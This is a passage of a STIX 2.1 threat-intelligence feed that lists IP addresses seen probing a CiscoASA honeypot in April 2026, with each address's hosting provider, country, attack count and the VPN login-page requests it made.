            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e89a9a45-a414-4ae9-96da-523ccf21ea39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-10T16:27:48.022Z",
          "last_seen": "2026-04-29T18:39:40.643Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--391b288a-3dbc-4b3a-ad7d-f9d45bdd4ab8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T16:40:44.912Z",
          "last_seen": "2026-04-27T11:35:09.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--94e4be7e-0e94-4b04-8294-87b5362ad6b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.151.115.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-10T16:56:09.250Z",
          "last_seen": "2026-04-13T17:18:24.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--a7327e85-375c-43d7-a9cc-15682bc3a557",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T17:27:58.133Z",
          "last_seen": "2026-04-29T09:09:50.544Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2ab703ab-bd28-476e-8d5d-1f3db5d3c698",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-10T17:21:11.203Z",
          "last_seen": "2026-04-29T18:58:42.865Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d8100f45-6547-4c39-a759-158f8058cb4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T18:04:03.736Z",
          "last_seen": "2026-04-25T00:02:14.551Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--85c00864-f803-4706-923a-2ba3150b2f4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-10T17:38:45.195Z",
          "last_seen": "2026-04-25T12:26:45.388Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--d073b9ff-d5a7-42df-accf-7e83b8e0bc63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.182.225.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 470,
          "first_seen": "2026-04-10T17:21:46.936Z",
          "last_seen": "2026-04-27T21:23:23.000Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--87cd3dfe-c72d-4b14-baa8-8b3ddff28325",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T17:54:53.293Z",
          "last_seen": "2026-04-29T11:15:21.791Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7fdd5632-ecb7-494e-8a2e-f2f81729ed9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T17:38:38.729Z",
          "last_seen": "2026-04-27T18:54:52.531Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--86c94547-7fcb-4f84-9480-57baa241629c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T18:14:49.230Z",
          "last_seen": "2026-04-24T18:09:59.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--f8956b90-5815-4dab-92c1-838d4ba79c00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.151.241.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T17:50:40.478Z",
          "last_seen": "2026-04-23T16:30:16.407Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T18:20:20.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b845c759-48e6-4a54-852b-c2409d5fff81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:20:20.000Z",
      "valid_until": "2026-05-12T18:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T17:47:54.600Z",
          "last_seen": "2026-04-23T02:20:18.893Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--143de3b7-f145-4e59-b945-74eff95f69e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T18:54:30.595Z",
          "last_seen": "2026-04-18T13:20:51.800Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--db271375-58ea-435d-bb16-f21178a3f2bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T19:03:43.887Z",
          "last_seen": "2026-04-27T09:38:18.401Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b92a4095-2728-4fc5-9b83-2bd1cd2bbd79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T18:50:19.218Z",
          "last_seen": "2026-04-28T06:49:02.501Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f35db9cb-8ed8-41bb-92c2-0e378a4a405e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T18:21:43.333Z",
          "last_seen": "2026-04-28T06:46:38.939Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f4a2581a-4d0d-48d4-b3ec-888eab97e7b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T18:55:27.203Z",
          "last_seen": "2026-04-21T06:12:24.806Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--bdcb32ab-e241-489a-839a-1a867de2f0b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:20:10.000Z",
      "valid_until": "2026-05-12T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T18:27:56.761Z",
          "last_seen": "2026-04-10T18:28:11.859Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--dae1f315-726d-466a-b444-7b38a3dbfb3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T01:20:10.000Z",
      "valid_until": "2026-05-13T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
